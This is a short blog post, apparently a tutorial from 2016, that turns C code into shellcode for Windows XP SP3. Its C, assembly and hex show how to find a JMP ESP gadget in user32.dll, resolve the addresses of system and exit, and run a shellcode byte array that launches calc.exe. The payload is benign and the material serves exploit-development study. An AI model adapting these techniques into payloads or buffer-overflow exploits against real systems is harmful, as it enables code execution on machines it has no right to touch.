Get Shellcode

C --> Assembly --> Shellcode

 

XP SP3

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
    //get address
//     HMODULE hMod = LoadLibrary("user32.dll");
//     if (hMod)
//     {
//         PBYTE pTravel = (PBYTE)hMod;
//         BOOL bLoop = TRUE;
//         for (DWORD i = 0; bLoop; i++)
//         {
//             //FF E0        JMP EAX
//             //FF E1        JMP ECX
//             //FF E2        JMP EDX
//             //FF E3        JMP EBX
//             //FF E4        JMP ESP
//             //FF E5        JMP EBP
//             //FF E6        JMP ESI
//             //FF E7        JMP EDI
// 
//             //FF D0        CALL EAX
//             //FF D1        CALL ECX
//             //FF D2        CALL EDX
//             //FF D3        CALL EBX
//             //FF D4        CALL ESP
//             //FF D5        CALL EBP
//             //FF D6        CALL ESI
//             //FF D7        CALL EDI
//             try
//             {
//                 if(pTravel[i] == 0xFF && pTravel[i+1] == 0xE4)
//                 {                    
//                     printf("%p\r\n", pTravel + i);//77D29353
//                     break;
//                 }
//             }
//             catch(...)
//             {                
//                 bLoop = FALSE;
//             }
//         }
//         FreeLibrary(hMod);
//         hMod = NULL;
//     }
//     hMod = LoadLibrary("msvcrt.dll");
//     if (hMod)
//     {
//         printf("%p\r\n", GetProcAddress(hMod, "system"));//77BF93C7
//         printf("%p\r\n", GetProcAddress(hMod, "exit"));//77C09E7E
//         FreeLibrary(hMod);
//         hMod = NULL;
//     }
//     exit(0);

    //c
//     system("calc.exe");
//     exit(0);

    //assembly
//     __asm
//     {
//         xor eax, eax
//         push eax
//         mov byte ptr [esp], 'l'
//         mov byte ptr [esp+1], 'l'
//         push 'd.tr'
//         push 'cvsm' // push msvcrt.dll 0 0, 12 bytes
//         mov eax, esp
//         push eax
//         mov eax, 7c801d7bh//LoadLibraryA msvcrt.dll
//         call eax
// 
//         xor eax, eax
//         push eax
//         push 'exe.'
//         push 'clac' // push calc.exe 0 0 0 0, 12 bytes
//         mov eax, esp        
//         push eax
//         mov eax,77BF93C7h//system
//         call eax
//         
//         xor eax, eax
//         push eax
//         mov eax,77C09E7Eh//exit
//         call eax
//     }
// 00401288  33 C0 50 C6 04 24 6C C6 44 24 01 6C 68 72 74 2E  3繮..$l艱$.lhrt.
// 00401298  64 68 6D 73 76 63 8B C4 50 B8 7B 1D 80 7C FF D0  dhmsvc嬆P竰..|..
// 004012A8  33 C0 50 68 2E 65 78 65 68 63 61 6C 63 8B C4 50  3繮h.exehcalc嬆P
// 004012B8  B8 C7 93 BF 77 FF D0 33 C0 50 B8 7E 9E C0 77 FF  盖摽w..3繮竳灷w.
// 004012C8  D0

    //shellcode
    unsigned char uc[] = 
        "\x33\xC0\x50\xC6\x04\x24\x6C\xC6\x44\x24\x01\x6C\x68\x72\x74\x2E"
        "\x64\x68\x6D\x73\x76\x63\x8B\xC4\x50\xB8\x7B\x1D\x80\x7C\xFF\xD0"
        "\x33\xC0\x50\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x50"
        "\xB8"
        "\xC7\x93\xBF\x77"//system
        "\xFF\xD0\x33\xC0\x50\xB8"
        "\x7E\x9E\xC0\x77\xFF"//exit
        "\xD0";
    typedef void (*FUNC)();
    ((FUNC)&uc)();

    return 0;
}

 

posted on 2016-10-28 09:40  NoneButNow  阅读(166)  评论(0编辑  收藏  举报

导航